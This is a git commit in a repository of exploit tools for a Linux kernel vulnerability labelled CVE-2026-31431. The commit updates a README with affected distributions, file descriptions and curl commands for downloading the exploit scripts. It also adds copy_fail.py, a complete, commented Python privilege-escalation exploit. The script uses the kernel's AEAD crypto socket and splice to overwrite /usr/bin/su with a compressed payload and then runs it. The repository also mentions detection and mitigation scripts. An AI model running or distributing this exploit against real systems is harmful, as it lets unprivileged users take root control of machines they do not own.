Added aarch64 support and more readme

This commit is contained in:
Jon
2026-04-30 16:43:32 +01:00
parent cad4784cb1
commit 9fe0b4b836
2 changed files with 96 additions and 2 deletions

View File

@@ -13,13 +13,36 @@
| Rocky Linux 9.7 (Blue Onyx) | 5.14.0-611.49.1.el9_7.x86_64 |
### aarch64 ?
| Distro | Version |
|-------------------|-------------------------|
| Ubuntu 24.04 LTS | 6.17.0-1011-oracle |
| RaspbianOS ? | ???? |
### unaffected
| Distro | Version | Reason |
|-------------------|-------------------------|---------|
| Devuan | 6.12.74+deb13+1-amd64 | algif_aead is not used by kernel |
| | | |
## Files
check.sh - makes a check to see if the exploitable crypto module is loaded.
mitigate.sh - unloads the exploitable crypto module, chances are you didnt need it anyway.
copy_fail_exp.py - the exploit in pure python.
copy_fail.py - the complete exploit writeup in plain python code.
copy_fail_exp.py - the exploit in pure python for x86 systems.
copy_fail_exp_aarch64.py - the exploit in pure python for aarch64 systems.
run to get the file as a non-privilaged user.
```
curl https://git.jonstarkey.co.uk/jon/CVE-2026-31431-tools/raw/branch/main/copy_fail_exp.py
```
or
```
curl https://git.jonstarkey.co.uk/jon/CVE-2026-31431-tools/raw/branch/main/copy_fail_exp_aarch64.py
```
curl https://copy.fail/exp

71
copy_fail.py Normal file
View File

@@ -0,0 +1,71 @@
#!/usr/bin/env python3
import os as os_module
import socket as socket_module
import zlib
# Convert a hex string to bytes
def hex_to_bytes(hex_string):
return bytes.fromhex(hex_string)
# Patch a 4-byte chunk (patch_bytes) at offset (chunk_offset) in file descriptor (target_fd)
# using a kernel AEAD crypto socket to write into the target binary
def patch_chunk(target_fd, chunk_offset, patch_bytes):
# Create an AEAD (Authenticated Encryption with Associated Data) socket
crypto_socket = socket_module.socket(38, 5, 0)
# Bind to the AEAD algorithm: AES-CBC with HMAC-SHA256 (with ESN)
crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# SOL_ALG socket option level
sol_alg = 279
set_socket_option = crypto_socket.setsockopt
# Set the cipher key (16-byte AES key, all zeros)
set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64))
# Set the authentication tag size to 4 bytes
set_socket_option(sol_alg, 5, None, 4)
# Accept a connection on the crypto socket to get a usable file descriptor
crypto_connection, _ = crypto_socket.accept()
# The write offset into the target file is the current chunk offset + 4
write_offset = chunk_offset + 4
# Null byte used to pad control message fields
null_byte = hex_to_bytes("00")
# Send the payload chunk with crypto control messages (IV, seq number, op)
crypto_connection.sendmsg(
[b"A" * 4 + patch_bytes], # 4-byte header + 4-byte patch data
[
(sol_alg, 3, null_byte * 4), # IV (all zeros, 4 bytes)
(sol_alg, 2, b"\x10" + null_byte * 19), # Sequence number / nonce
(sol_alg, 4, b"\x08" + null_byte * 3), # Operation flags
],
32768, # MSG_SPLICE_PAGES flag to splice directly into the pipe
)
# Create a pipe to splice data from the crypto socket into the target file
pipe_read_fd, pipe_write_fd = os_module.pipe()
splice_data = os_module.splice
# Splice encrypted output into the write end of the pipe
splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0)
# Splice from the read end of the pipe into the crypto socket fd (patching the binary)
splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset)
try:
# Drain the response from the crypto socket
crypto_connection.recv(8 + chunk_offset)
except Exception:
pass
# Open the target binary for reading/writing (O_RDONLY=0, relies on splice to write)
target_fd = os_module.open("/usr/bin/su", 0)
chunk_offset = 0
# Decompress the payload: a sequence of 4-byte patches to apply to the binary
payload_bytes = zlib.decompress(
hex_to_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
# Iterate over the decompressed payload in 4-byte chunks and patch the binary
while chunk_offset < len(payload_bytes):
patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4])
chunk_offset += 4
# Execute the (now-patched) su binary
os_module.system("su")